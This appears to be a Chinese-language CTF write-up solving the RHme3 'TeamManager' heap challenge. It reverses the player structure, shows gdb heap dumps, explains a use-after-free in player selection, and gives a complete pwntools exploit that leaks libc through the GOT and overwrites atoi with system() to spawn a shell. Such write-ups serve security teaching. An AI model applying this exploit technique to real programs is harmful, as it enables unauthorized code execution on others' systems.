UAF实例——RHme3 CTF 的一道题

来源:https://github.com/xerof4ks/heapwn/tree/master/rhme3

初步了解

1
2
3
4
5
6
7
8
9
10
root@kali:~/learn/heapwn/rhme3# ./main.elf 
Welcome to your TeamManager (TM)!
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice:

堆的题目基本都是选择菜单,这里可以添加,删除,选择,编辑,展示球员,还可以显示队伍,功能看着很多啊

首先玩玩一下这个游戏,便于后期逆向一些数据结构

1
2
3
4
5
6
7
Your choice: 1
Found free slot: 0
Enter player name: 1
Enter attack points: 1
Enter defense points: 1
Enter speed: 1
Enter precision: 1

上面就是球员这个结构有什么信息,第一个free slot就相当于球员的id,这个不用我们输入

remove就删除咯

1
2
3
Your choice: 2
Enter index: 0
She's gone!

select会输出球员的信息

1
2
3
4
5
Your choice: 3
Enter index: 0
Player selected!
Name: 1
A/D/S/P: 1,1,1,1

edit当前的palyer,基于上面的select

1
2
3
4
5
6
7
8
Your choice: 4
0.- Go back
1.- Edit name
2.- Set attack points
3.- Set defense points
4.- Set speed
5.- Set precision
Your choice:

show palyer,这个显示的是select的player

1
2
3
Your choice: 5
Name: 2
A/D/S/P: 1,1,1,1

show team会将所有球员信息打印出来

1
2
3
4
5
6
7
8
Your choice: 6
Your team:
Player 0
Name: 2
A/D/S/P: 1,1,1,1
Player 1
Name: 3
A/D/S/P: 3,3,3,3

经过对add_player的逆向,可以推出palyer的结构

1
2
3
4
5
6
7
struct palyer{
int attackPoint;
int defensePoints;
int speed;
int precision;
char* name;
}

编写add_palyer查看内存结构

1
2
3
4
5
6
7
8
9
10
11
12
13
def add_palyer(name, attack = 1, defense = 2, speed = 3, precision = 4):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("name: ")
p.sendline(name)
p.recvuntil("attack points: ")
p.sendline(str(attack))
p.recvuntil("defense points: ")
p.sendline(str(defense))
p.recvuntil("speed: ")
p.sendline(str(speed))
p.recvuntil("precision: ")
p.sendline(str(precision))

查看内存如下,大小为0x20,

1
2
3
4
5
6
7
8
9
10
11
gdb-peda$ x /20g 0x1675010-0x10
0x1675000: 0x0000000000000000 0x0000000000000021
0x1675010: 0x0000000200000001 0x0000000400000003
0x1675020: 0x0000000001675030 0x0000000000000071
0x1675030: 0x4141414141414141 0x4141414141414141
0x1675040: 0x4141414141414141 0x4141414141414141
0x1675050: 0x4141414141414141 0x4141414141414141
0x1675060: 0x4141414141414141 0x4141414141414141
0x1675070: 0x4141414141414141 0x4141414141414141
0x1675080: 0x4141414141414141 0x4141414141414141
0x1675090: 0x0000000000000000 0x0000000000020f71

添加两个球员

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
gdb-peda$ x /60gx 0x0000000001759010
0x1759010: 0x0000000200000001 0x0000000400000003
0x1759020: 0x0000000001759030 0x0000000000000071
0x1759030: 0x4141414141414141 0x4141414141414141
0x1759040: 0x4141414141414141 0x4141414141414141
0x1759050: 0x4141414141414141 0x4141414141414141
0x1759060: 0x4141414141414141 0x4141414141414141
0x1759070: 0x4141414141414141 0x4141414141414141
0x1759080: 0x4141414141414141 0x4141414141414141
0x1759090: 0x0000000000000000 0x0000000000000021
0x17590a0: 0x0000000200000001 0x0000000400000003
0x17590b0: 0x00000000017590c0 0x0000000000000071
0x17590c0: 0x4242424242424242 0x4242424242424242
0x17590d0: 0x4242424242424242 0x4242424242424242
0x17590e0: 0x4242424242424242 0x4242424242424242
0x17590f0: 0x4242424242424242 0x4242424242424242
0x1759100: 0x4242424242424242 0x4242424242424242
0x1759110: 0x4242424242424242 0x4242424242424242
0x1759120: 0x0000000000000000 0x0000000000020ee1

了解得差不多了,开始吧

查找漏洞

看下delete,判断index不能大于10,且全局players数组不为0,而且delete后将相应的players索引置0,所以不存在double free,free的时候首先将name释放,再释放整个palyer

那看看释放后能否重用,看看show palyer,因为delete没将selected置0,导致可以重用,这可以导致信息泄露

再有edit可以导致任意地址写漏洞

那怎么占位呢(下面图说的0x17不一定,我们0x16,0x15等也能占位,差不多大小就行)

就是创建两个palyer,都free掉,再创建一个palyer即可占位,用name占第二个palyer的结构

还有我们下面写got的话有两个目标,一个atoi,一个strlen,不过atoi的话传入的参数只有四字节,只能传个sh过去了,strlen也是可以的,留给大家尝试,就不贴出来了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
# -*- coding: utf-8 -*-
from pwn import *

# context.log_level = 'debug'

p = process("./main.elf")
elf = ELF("./main.elf")
libc = ELF("libc.so.6")

# print proc.pidof(p)[0]

# print hex(elf.got["read"]) #0x6030a0
# print hex(elf.got["atoi"]) #0x603110
# print hex(elf.got["strlen"]) #0x603040

raw_input()

def add_palyer(name, attack = 1, defense = 2, speed = 3, precision = 4):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("name: ")
p.sendline(name)
p.recvuntil("attack points: ")
p.sendline(str(attack))
p.recvuntil("defense points: ")
p.sendline(str(defense))
p.recvuntil("speed: ")
p.sendline(str(speed))
p.recvuntil("precision: ")
p.sendline(str(precision))

def delete_palyer(index):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Enter index: ")
p.sendline(str(index))

def select_palyer(index):
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Enter index: ")
p.sendline(str(index))

def show_palyer():
p.recvuntil("Your choice: ")
p.sendline("5")

def edit_palyername(name):
p.recvuntil("Your choice: ")
p.sendline("4")
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Enter new name: ")
p.sendline(name)

def pwning(target):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Enter attack points: ")
p.sendline(target)


# ---------info leak---------
add_palyer("A"*0x40)
add_palyer("A"*0x40)
select_palyer(1)

# free
delete_palyer(1)
delete_palyer(0)

# keep space
# two malloc
# b *0x00000000004018A7
# b *0x0000000000401955
# yin wei malloc(len+1) in the binary
# add_palyer("B"*0x17)0x603070
leakread = "\x02\x02\x01\x01"*4 + "\xa0\x30\x60"
print len(leakread)
add_palyer(leakread)
# use
# b *0x00000000004020D2
show_palyer()
p.recvuntil("Name: ")
leak = p.recv(6).ljust(8, '\x00')
read_addr =u64(leak)
print "read_addr = " + hex(read_addr)

print "\ncalculating system() addr and \"/bin/sh\" addr ... ###"
system_addr = read_addr - (libc.symbols['read'] - libc.symbols['system'])
print "system_addr = " + hex(system_addr)
# binsh_addr = read_addr - (libc.symbols['read'] - next(libc.search("/bin/sh")))
# print "binsh_addr = " + hex(binsh_addr)


# ---------write got---------
delete_palyer(0)
add_palyer("B"*0x40)
add_palyer("B"*0x40)
select_palyer(0)
delete_palyer(0)
delete_palyer(1)
writeAtoiAddr = "\x02\x02\x01\x01"*4 + "\x10\x31\x60"
# writeStrlenAddr = "\x02\x02\x01\x01"*4 + "\x40\x30\x60"
add_palyer(writeAtoiAddr)
edit_palyername(p64(system_addr))
# raw_input()
p.sendline("sh")
# raw_input()

p.interactive()
打赏专区